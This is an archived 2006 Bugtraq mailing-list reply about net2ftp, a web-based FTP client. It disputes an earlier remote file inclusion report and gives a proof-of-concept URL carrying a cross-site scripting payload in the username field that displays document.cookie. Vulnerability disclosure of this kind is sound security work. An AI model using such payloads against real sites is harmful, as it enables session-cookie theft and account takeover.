| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <20061002161328.11110.qmail@securityfocus.com> Date: 2 Oct 2006 16:13:28 -0000 From: securfrog@...il.com To: bugtraq@...urityfocus.com Subject: Re: net2ftp: a web based FTP client :) <= Remote File Inclusion " + Solution: + Add this line to your php-file: + + $application_rootdir ="user/dir" //Your root path " ===> 0-o i guess you should learn some PHP before posting on bugtracks ... " net2ftp: a web based FTP client :) <= Remote File Inclusion " ===> you should try your PoC before posting , there's no remote file include in that code ... -------------------------------------------------- btw that there's some XSS post in username and bunch of full path disclosure ... here's the PoC : http://www.example.com/index.php?state=browse&state2=main&ftpserver=blabla&ftpserverport=21&username=</textarea>'"><script>alert(document.cookie)</script>;</textarea>'"><script>alert(document.cookie)</script>&password=haaaa&directory=wop&language=en&skin=india&ftpmode=binary&Login=Login
Powered by blists - more mailing lists